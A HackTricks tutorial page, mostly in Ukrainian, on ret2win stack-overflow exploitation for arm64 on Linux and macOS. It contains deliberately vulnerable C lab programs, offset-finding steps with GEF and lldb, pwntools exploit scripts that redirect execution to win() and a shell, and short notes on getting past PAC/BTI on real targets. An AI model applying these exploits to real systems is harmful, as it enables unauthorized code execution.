Ret2win - arm64

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Знайдіть вступ до arm64 у:

Introduction to ARM64v8

Код

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Скомпілюйте без pie та canary:

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
  • Додатковий прапорець -mbranch-protection=none вимикає AArch64 Branch Protection (PAC/BTI). Якщо ваш toolchain за замовчуванням вмикає PAC або BTI, це робить лабораторію відтворюваною. Щоб перевірити, чи скомпільований бінар використовує PAC/BTI, можна:
  • Шукати властивості AArch64 GNU:
  • readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
  • Переглянути пролог/епілог на предмет paciasp/autiasp (PAC) або bti c landing pads (BTI):
  • objdump -d ret2win | head -n 40

AArch64 calling convention quick facts

  • Реєстр переходу — x30 (також lr), і функції зазвичай зберігають x29/x30 за допомогою stp x29, x30, [sp, #-16]! та відновлюють їх за допомогою ldp x29, x30, [sp], #16; ret.
  • Це означає, що збережена адреса повернення знаходиться за sp+8 відносно бази фрейма. Якщо під нею розташований char buffer[64], типовий відступ для перезапису збереженого x30 становить 64 (buffer) + 8 (збережений x29) = 72 байти — саме те, що ми знайдемо нижче.
  • Вказівник стека має залишатися вирівняним по 16 байтів на межах функцій. Якщо пізніше ви будете будувати ROP-ланцюги для складніших сценаріїв, зберігайте вирівнювання SP, інакше можна отримати падіння під час епілогів функцій.

Finding the offset

Pattern option

This example was created using GEF:

Запустіть gdb з gef, створіть pattern і використайте його:

gdb -q ./ret2win
pattern create 200
run

arm64 спробує повернутися на адресу в регістрі x30 (який було скомпрометовано), ми можемо використати це, щоб знайти pattern offset:

pattern search $x30

Зсув становить 72 (9x48).

Опція зсуву стека

Почніть з отримання адреси в стеку, де зберігається регістр pc:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Тепер встановіть breakpoint після read() і continue до моменту виконання read(), після чого встановіть pattern, наприклад 13371337:

b *vulnerable_function+28
c

Знайдіть, де цей шаблон зберігається в пам’яті:

Потім: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

No PIE

Звичайний

Отримайте адресу функції win:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Exploit:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

Насправді це більше схоже на off-by-2 у збереженому PC в stack. Замість того, щоб перезаписувати всю return address, ми збираємося перезаписати тільки останні 2 байти значення 0x06c4.

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Ви можете знайти ще один приклад off-by-one для ARM64 за адресою https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, який є реальним off-by-one у вигаданій вразливості.

З PIE

Tip

Скомпілюйте binary без аргументу -no-pie

Off-by-2

Без leak ми не знаємо точну адресу win function, але можемо дізнатися offset функції від binary, і, знаючи, що return address, який ми перезаписуємо, вже вказує на близьку адресу, можливо отримати offset до win function (0x7d4) у цьому випадку і просто використати цей offset:

```python from pwn import *

Configuration

binary_name = ‘./ret2win’ p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b’A’ * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()

## macOS

### Код
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

__attribute__((noinline))
void win(void) {
system("/bin/sh"); // <- **our target**
}

void vulnerable_function(void) {
char buffer[64];
// **BOF**: reading 256 bytes into a 64B stack buffer
read(STDIN_FILENO, buffer, 256);
}

int main(void) {
printf("win() is at %p\n", win);
vulnerable_function();
return 0;
}

Скомпілюйте без canary (на macOS ви не можете вимкнути PIE):

clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security

Виконайте без ASLR (хоча, оскільки у нас є address leak, він нам не потрібен):

env DYLD_DISABLE_ASLR=1 ./bof_macos

Tip

Неможливо відключити NX у macOS, оскільки на arm64 цей режим реалізований на апаратному рівні, тож його не можна вимкнути — тому ви не знайдете прикладів із shellcode у stack для macOS.

Знайти зсув

  • Згенерувати патерн:
python3 - << 'PY'
from pwn import *
print(cyclic(200).decode())
PY
  • Запустіть програму та введіть pattern, щоб спричинити збій:
lldb ./bof_macos
(lldb) env DYLD_DISABLE_ASLR=1
(lldb) run
# paste the 200-byte cyclic string, press Enter
  • Перевірте регістр x30 (адреса повернення), щоб знайти зсув:
(lldb) register read x30
  • Використовуйте cyclic -l <value> щоб знайти точний зсув:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY

# Replace 0x61616173 with the 4 first bytes from the value of x30
  • Ось як я знайшов зсув 72: підставивши в цей зсув адресу функції win(), ви можете виконати цю функцію та отримати shell (запуск без ASLR).

Exploit

#!/usr/bin/env python3
from pwn import *
import re

# Load the binary
binary_name = './bof_macos'

# Start the process
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})

# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")

# Extract the win() address using regex
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract win() address")
p.close()
exit(1)

win_address = int(match.group(1), 16)
print(f"Extracted win() address: {hex(win_address)}")

# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8  # 72 bytes total to reach the return address

# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

macOS - 2-й приклад

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

__attribute__((noinline))
void leak_anchor(void) {
puts("leak_anchor reached");
}

__attribute__((noinline))
void win(void) {
puts("Killed it!");
system("/bin/sh");
exit(0);
}

__attribute__((noinline))
void vuln(void) {
char buf[64];
FILE *f = fopen("/tmp/exploit.txt", "rb");
if (!f) {
puts("[*] Please create /tmp/exploit.txt with your payload");
return;
}
// Vulnerability: no bounds check → stack overflow
fread(buf, 1, 512, f);
fclose(f);
printf("[*] Copied payload from /tmp/exploit.txt\n");
}

int main(void) {
// Unbuffered stdout so leaks are immediate
setvbuf(stdout, NULL, _IONBF, 0);

// Leak a different function, not main/win
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);

// Sleep 3s
sleep(3);

vuln();
return 0;
}

Скомпілюйте без canary (в macOS ви не можете вимкнути PIE):

clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security

Знайти offset

  • Згенеруйте pattern у файл /tmp/exploit.txt:
python3 - << 'PY'
from pwn import *
with open("/tmp/exploit.txt", "wb") as f:
f.write(cyclic(200))
PY
  • Запустіть програму, щоб спричинити crash:
lldb ./bof_macos
(lldb) run
  • Перевірте регістр x30 (the return address), щоб знайти offset:
(lldb) register read x30
  • Використовуйте cyclic -l <value> щоб знайти точний зсув:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
  • Ось як я знайшов offset 72: підставивши в цей offset адресу функції win(), ви можете виконати цю функцію і отримати shell (запуск без ASLR).

Обчислити адресу win()

  • The binary is PIE, використовуючи leak функції leak_anchor() та знаючи offset функції win() відносно leak_anchor(), ми можемо обчислити адресу функції win().
objdump -d bof_macos | grep -E 'leak_anchor|win'

0000000100000460 <_leak_anchor>:
000000010000047c <_win>:
  • Зсув дорівнює 0x47c - 0x460 = 0x1c

Exploit

#!/usr/bin/env python3
from pwn import *
import re
import os

# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name)

# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")

# Extract the leak_anchor() address using regex
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract leak_anchor() address")
p.close()
exit(1)
leak_anchor_address = int(match.group(1), 16)
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")

# Calculate win() address
win_address = leak_anchor_address + 0x1c
print(f"Calculated win() address: {hex(win_address)}")

# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8  # 72 bytes total to reach the return address

# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")

# Write the payload to /tmp/exploit.txt
with open("/tmp/exploit.txt", "wb") as f:
f.write(payload)

print("[*] Payload written to /tmp/exploit.txt")

# Drop to an interactive session
p.interactive()

Примітки щодо сучасного жорсткого захисту AArch64 (PAC/BTI) та ret2win

  • Якщо бінарник скомпільовано з AArch64 Branch Protection, ви можете побачити paciasp/autiasp або bti c у прологах/епілогах функцій. У такому випадку:
  • Повернення на адресу, яка не є дійсною BTI landing pad, може викликати SIGILL. Краще цілитися точно у вхід функції, яка містить bti c.
  • Якщо PAC увімкнено для повернень, наївні перезаписи адреси повернення можуть не спрацювати, бо епілог аутентифікує x30. Для навчальних сценаріїв перебудуйте з -mbranch-protection=none (показано вище). При атаках реальних цілей віддавайте перевагу non‑return hijacks (наприклад, перезаписам function pointer) або створюйте ROP, який ніколи не виконує пару autiasp/ret, що аутентифікує ваш підроблений LR.
  • Щоб швидко перевірити можливості:
  • readelf --notes -W ./ret2win і перевірте наявність нотаток AARCH64_FEATURE_1_BTI / AARCH64_FEATURE_1_PAC.
  • objdump -d ./ret2win | head -n 40 і перевірте наявність bti c, paciasp, autiasp.

Запуск на non‑ARM64 хостах (qemu‑user — коротка підказка)

Якщо ви на x86_64, але хочете практикуватися з AArch64:

# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross

# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win

# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'

Пов’язані сторінки HackTricks

Ret2syscall - arm64

Ret2lib + Printf leak - arm64

Посилання

  • Увімкнення PAC та BTI на AArch64 для Linux (Arm Community, листопад 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
  • Стандарт виклику процедур для 64-бітної архітектури Arm (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks